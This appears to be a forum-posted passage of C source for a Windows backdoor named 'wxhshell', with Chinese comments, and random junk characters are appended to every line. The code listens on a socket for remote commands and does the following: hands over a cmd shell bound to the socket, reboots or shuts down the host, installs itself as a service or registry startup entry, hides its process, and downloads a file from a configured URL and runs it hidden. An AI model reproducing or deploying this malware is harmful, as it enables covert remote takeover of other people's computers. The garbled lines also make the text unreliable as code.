    switch(cmd[0]) { bm}6{28R  
  ~%ozgzr^  
  // 帮助 U>S`k6  
  case '?': { "R9Yb,tIN  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Qn:kz*:  
    break; PzZZ>7_6S  
  } Y&*x4&Lb  
  // 安装 G",.,Px  
  case 'i': { 2UP,Tgn..  
    if(Install()) V% CUMH =U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^1jk$$f  
    else R4e&^tI@*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8[bkHfI  
    break; DF1<JdO+  
    } LS.r%:$mb  
  // 卸载 K(T\9J.  
  case 'r': {  m@rSz  
    if(Uninstall()) Ep~wWQh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~2uh'e3  
    else x.$1<w64t  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Qbeeq6  
    break; zz_[S{v!#  
    } ?4z8)E9Ju  
  // 显示 wxhshell 所在路径 5V-jMB  
  case 'p': { $R^AEa7  
    char svExeFile[MAX_PATH]; Q;h3v1GC\P  
    strcpy(svExeFile,"\n\r"); |@j _2Q,  
      strcat(svExeFile,ExeFile); V+Xl9v4O  
        send(wsh,svExeFile,strlen(svExeFile),0); I<h=Cj[[  
    break; >O]s&34  
    } :a3LS|W  
  // 重启 {UH9i'y:t  
  case 'b': { :DkAQ-<~  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~fzuwz  
    if(Boot(REBOOT)) dl l%4Sd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {<w +3Va  
    else { BH@b1}  
    closesocket(wsh); UP2.]B!d  
    ExitThread(0); */OI *{Q  
    } :WXf.+IA  
    break; :#="%  
    } L>Jd7; =  
  // 关机 rOl6lQW  
  case 'd': { FfMnul  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); V!|e#}1 /  
    if(Boot(SHUTDOWN)) SFjU0*B$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =^h~!ovj:  
    else { Fa3gJ[ZAqf  
    closesocket(wsh); S|R|]J|  
    ExitThread(0); 3@5p"X  
    } j%&  IL0  
    break; xRDiRj  
    } &K:' #[3V  
  // 获取shell #iis/6"  
  case 's': { eZF'Ck y  
    CmdShell(wsh); CJNG) p  
    closesocket(wsh); P#G.lft"O  
    ExitThread(0); #Ws 53mT  
    break; 6E9N(kFYs  
  } 5M?mYNQR/H  
  // 退出 X<MpN5%|Wo  
  case 'x': { 6Dm+'y]l  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); :%_q[}e  
    CloseIt(wsh); HdQj?f3  
    break; E`p'L!z  
    } f =_^>>.  
  // 离开 a&/HSf_G  
  case 'q': { t&c&KFK)I&  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); rS~qi}4X  
    closesocket(wsh); vC9@,[  
    WSACleanup(); Q5E:|)G  
    exit(1); <jd/t19DB  
    break; ++92:decM  
        } Uh6mGL z*&  
  } {y);vHf$  
  } rveVCTbC  
fwmLJ5o N  
  // 提示信息 9[>Lp9l'  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Xt(! a  
} ySruAkw%  
  } Hc!!tbBQ  
V;*pL1  
  return; 3@X7YgILU  
} l]vohLz 3!  
fykI,!  
// shell模块句柄 tSw>@FM  
int CmdShell(SOCKET sock) d7i#w #  
{ rycJyiw<-  
STARTUPINFO si; S|2VP8xY9  
ZeroMemory(&si,sizeof(si)); G:Hj;&'2  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Xu<FDjr  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Pc4R!Tc  
PROCESS_INFORMATION ProcessInfo; :Kay$r0+  
char cmdline[]="cmd"; :QA@ c|(PF  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ec?1c&E  
  return 0; Ve:&'~F2 s  
} |(%AM*n  
Z% Z"VoxH  
// 自身启动模式 ggCr-  
int StartFromService(void) *98Ti|  
{ di_gWE  
typedef struct j6X LyeG7  
{ j:?N!*r=  
  DWORD ExitStatus; fu>Qi)@6a1  
  DWORD PebBaseAddress; Fg@ ACv'@  
  DWORD AffinityMask; 3Wj,}  
  DWORD BasePriority; ~x+Ykq0  
  ULONG UniqueProcessId; U(A4v0T  
  ULONG InheritedFromUniqueProcessId; 9 x [X<  
}   PROCESS_BASIC_INFORMATION; `V~LV<v5  
^?Vq L\V5  
PROCNTQSIP NtQueryInformationProcess; DB Xm  
lQr6;D}+  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -RCv7U`  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !d|8'^gc  
x[}06k'  
  HANDLE             hProcess; AFtCqq#[  
  PROCESS_BASIC_INFORMATION pbi; El1:?4;  
zPE#[\O21B  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %Ht ^yemQ  
  if(NULL == hInst ) return 0; ;siJ~|6)  
b7f0#*(?  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0Q*-g}wXfS  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); j/`Up  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); US]"4=Zm  
;x RjQR  
  if (!NtQueryInformationProcess) return 0; Z]e4pR6!  
~GYpa t  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); G* Ib^;$u  
  if(!hProcess) return 0; |)';CBb  
iiehrK&T !  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; DrV0V .t,  
|?|K\UF(Y  
  CloseHandle(hProcess); 0i _  
b7qnO jC  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Ix4jof6(  
if(hProcess==NULL) return 0; sVlZNj9i"  
$*aE$O6l  
HMODULE hMod; As p8qHS  
char procName[255]; J{^n=X9M0J  
unsigned long cbNeeded; q1<Fg.-r  
o>$|SU!a  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 7zi"caY  
-Cml0}.O   
  CloseHandle(hProcess); V[To,f  
w1.MhA  
if(strstr(procName,"services")) return 1; // 以服务启动 !}j,TPpG  
AAdD\ %JZ  
  return 0; // 注册表启动 6BR \iZ  
} u[: P  
t0I>5#*WU  
// 主模块 lxCX-a`@p  
int StartWxhshell(LPSTR lpCmdLine) K#iK6)tS  
{ #EEG>M*xB  
  SOCKET wsl; s|BX> 1  
BOOL val=TRUE; kkHTbn=!  
  int port=0; t{[gKV-b  
  struct sockaddr_in door; 7s$6XO!  
gRw.AXR a  
  if(wscfg.ws_autoins) Install(); &s2#1  
0K`ZX&K?W  
port=atoi(lpCmdLine); B>ge, }{  
'[n)N@h  
if(port<=0) port=wscfg.ws_port; EK:Y2WZ  
p5D5%B/  
  WSADATA data; IMw "eV  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; oMz/sL'u  
5_PWGaQa  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   s&Z35IM8|  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); //6^+-he  
  door.sin_family = AF_INET; d~vTD|Et  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); +$(71#'y  
  door.sin_port = htons(port); }ty"fI3&iY  
Vx}Yl&*D  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { DXt]b,  
closesocket(wsl); o- cj&Cv%  
return 1; [}jj<!9A_;  
} @'@s*9Nr  
3^j~~ "2,w  
  if(listen(wsl,2) == INVALID_SOCKET) { y @]8Ep  
closesocket(wsl); DBLA% {05  
return 1; |K'Gw}fX/  
} ,^n-L&  
  Wxhshell(wsl); 3j]UEA^  
  WSACleanup(); Kp$_0  
Dl>*L  
return 0; :h^O{"au^  
[vZfH!vLP  
} YG-Z.{d5Z  
9"[!EKW  
// 以NT服务方式启动 wxH (&CB-{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) -B<O_*wOj  
{ `WraOsoY  
DWORD   status = 0; >cBGw'S  
  DWORD   specificError = 0xfffffff; cZCGnzy  
U)SM),bE[  
  serviceStatus.dwServiceType     = SERVICE_WIN32; *4r s  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 9k714bnMLX  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 03P N{<  
  serviceStatus.dwWin32ExitCode     = 0; ?"5~Wwp.T  
  serviceStatus.dwServiceSpecificExitCode = 0; }R7sj  
  serviceStatus.dwCheckPoint       = 0; \.K\YAM<  
  serviceStatus.dwWaitHint       = 0; eL]{#WL  
RPz!UMQSD  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); h9tB''ePE  
  if (hServiceStatusHandle==0) return; oV%( 37W9=  
=)mXCA^  
status = GetLastError(); # Nu%]  
  if (status!=NO_ERROR) ?ZSXoy-kr  
{ </K%i;l  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; j;1~=j])  
    serviceStatus.dwCheckPoint       = 0; [] GthF  
    serviceStatus.dwWaitHint       = 0; Xtu:  
    serviceStatus.dwWin32ExitCode     = status; _)HD4,`  
    serviceStatus.dwServiceSpecificExitCode = specificError; B"pFJ"XR  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); L?Kz P.(t+  
    return; xn%l  
  } r78u=r  
}:,o Y<  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; "R@$Wu53|  
  serviceStatus.dwCheckPoint       = 0; >reaIBT  
  serviceStatus.dwWaitHint       = 0; B FzcoBu-  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); $[HcHnf  
} p?J~'  
*/0vJz%<.M  
// 处理NT服务事件,比如:启动、停止 Verbmeg&n  
VOID WINAPI NTServiceHandler(DWORD fdwControl) GnSgO-$"  
{ zhVa.r A  
switch(fdwControl) Ov0O#`  
{ : ;E7+m  
case SERVICE_CONTROL_STOP: 2eZk3_w  
  serviceStatus.dwWin32ExitCode = 0; PfwI@%2  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; $V`KrA~]  
  serviceStatus.dwCheckPoint   = 0; &=+cov(3  
  serviceStatus.dwWaitHint     = 0; M<SbVP|V "  
  { el2*\(XT  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); t 1Ir4  
  } QN{}R;s  
  return; F20wf1^  
case SERVICE_CONTROL_PAUSE: Q:-%3)g<<  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Dz"u8 f  
  break; ? 6yF{!F*  
case SERVICE_CONTROL_CONTINUE: 0)6i~MglY  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; IGh !d?D  
  break; Z@>=&  
case SERVICE_CONTROL_INTERROGATE: 7- *( a  
  break; }[=xe(4]D  
}; I =tyQ`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4 ~MJ4:  
} [*Aqy76Qa  
Yj^avO=;  
// 标准应用程序主函数 1sIy*z  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) QK``tWLIg7  
{ &;~2sEo,  
X]&;8  
// 获取操作系统版本 RTPq8S"  
OsIsNt=GetOsVer(); Ef,7zKG  
GetModuleFileName(NULL,ExeFile,MAX_PATH); q 2_N90u  
uFm(R/V  
  // 从命令行安装 QoT3;<r}  
  if(strpbrk(lpCmdLine,"iI")) Install(); ~RZJ/%6F  
8xD<A|  
  // 下载执行文件 Tdk2436=  
if(wscfg.ws_downexe) { bo~{<UT  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ^\7 x5gO  
  WinExec(wscfg.ws_filenam,SW_HIDE); n!l./>N  
} \GbHS*\+  
Oet#wp/I  
if(!OsIsNt) { 1Rb XM n  
// 如果时win9x,隐藏进程并且设置为注册表启动 !yV,|)y5F  
HideProc(); Th& Wq  
StartWxhshell(lpCmdLine); DJD]aI  
} V#-qKV  
else 9QX ~a X  
  if(StartFromService()) )$l9xx[  
  // 以服务方式启动 OW63^wA`s  
  StartServiceCtrlDispatcher(DispatchTable); iSZctsqE  
else -A-hxK*^  
  // 普通方式启动 St~SiTJU  
  StartWxhshell(lpCmdLine); T~wZ  
Dh!iY0Lz  
return 0; },Re5W nl  
}
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只看该作者 1 发表于: 2006-10-10
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